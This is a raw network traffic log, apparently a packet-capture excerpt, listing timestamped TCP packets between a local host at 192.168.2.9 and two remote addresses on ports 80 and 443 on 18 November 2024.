Nov 18, 2024 15:17:07.450923920 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450934887 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450944901 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450957060 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.450957060 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.450958014 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450969934 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450982094 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450985909 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.450998068 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.450999975 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451009035 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451003075 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.451014996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451069117 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.451267958 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.451854944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451868057 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451879025 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451893091 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451903105 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451920986 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451920986 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.451932907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451944113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451960087 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451961994 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451966047 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451972961 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451982975 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.451982975 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.451982975 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.451996088 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.452006102 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.452013016 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.452013016 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.452018023 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.452029943 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.452040911 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.452053070 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.452059984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.452059984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.452064991 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.452109098 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.452109098 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.452145100 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.453632116 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.453651905 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.453680992 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.453715086 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.453752995 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.453764915 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.453813076 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.454031944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454046011 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454056025 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454062939 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.454066992 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454073906 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454077005 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.454078913 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454101086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454112053 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.454113960 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454113960 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.454133034 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454144001 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.454144001 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454150915 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.454153061 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.454154968 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454168081 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454180002 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454191923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454194069 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.454196930 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.454204082 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454216957 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454221964 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.454226971 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454240084 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454251051 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454262018 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454272985 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454283953 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.454283953 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.454283953 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.454284906 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454298019 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454308987 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.454468012 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.454468966 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.454468966 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.455651045 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.455753088 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.455785036 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.455792904 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.455820084 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.455866098 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.455866098 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.455878973 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.455878973 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.455887079 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.455903053 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.455939054 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.455952883 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.456073046 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.456362963 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.456434965 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.456888914 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.456971884 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.457140923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.457154989 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.457166910 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.457226038 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.457226038 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458044052 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458059072 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458070040 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458076000 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458082914 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458095074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458098888 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458101988 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458107948 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458120108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458126068 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458133936 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458156109 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458173037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458370924 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458384037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458395004 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458408117 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458420038 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458429098 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458432913 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458445072 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458462954 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458462954 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458492994 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458493948 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458506107 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458518028 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458532095 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458544016 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458548069 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458555937 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458568096 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458580017 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458590984 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458633900 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458633900 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458635092 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458633900 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458650112 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458667040 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458678961 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458690882 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458700895 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458713055 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458724976 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458730936 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458731890 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458731890 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458736897 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458750010 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458760023 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458771944 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458790064 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458878040 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458889961 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458900928 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458920956 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458934069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458945036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.458981037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458981037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.458981037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.459289074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459332943 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.459346056 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.459500074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459521055 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459527969 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459532976 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459538937 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459541082 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459544897 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459547043 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459551096 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459563017 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459563971 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.459573984 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459587097 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459599018 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459609985 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.459850073 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.459850073 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.459850073 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.460038900 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.460057974 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.460129976 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.460140944 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.460186958 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.460205078 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.461565018 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.461591005 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.461680889 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.461680889 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.461699963 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.461723089 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.461834908 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.461834908 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.462558031 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462573051 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462656975 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.462656975 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.462729931 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462734938 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462738991 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462745905 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462759018 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462770939 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462781906 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462788105 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.462795019 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462806940 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.462806940 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462821007 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462832928 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462843895 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462850094 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.462856054 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462860107 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.462867975 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462888002 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462902069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462919950 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462923050 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.462923050 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.462932110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462941885 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462954998 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462959051 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.462965012 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462971926 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.462976933 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462987900 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.462999105 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463011026 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463022947 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463025093 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.463025093 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.463025093 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.463035107 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463046074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463052988 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463058949 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463071108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463083982 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463095903 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463104010 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.463104010 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.463107109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463121891 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.463152885 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.463648081 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463663101 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463675022 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463686943 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463697910 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463710070 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463718891 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.463721037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463727951 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463735104 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463746071 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463757038 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463769913 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.463793039 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.463793039 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.463809013 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.463999987 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464013100 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464025021 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464037895 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464049101 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464061022 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464072943 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464085102 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464096069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464107990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464118004 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464123011 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464123011 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464123011 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464123011 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464129925 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464148998 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464162111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464174032 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464184046 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464195967 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464207888 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464220047 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464231968 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464245081 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464257002 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464257002 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464257002 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464257002 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464257002 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464268923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464282036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464293957 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464308023 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464319944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464330912 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464343071 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464343071 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464343071 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464343071 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464355946 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464370012 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464382887 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464395046 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464407921 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464417934 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464431047 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464437962 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464445114 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464445114 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464445114 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464445114 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464449883 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464485884 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464515924 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.464868069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.464880943 CET	80	49750	185.215.113.206	192.168.2.9
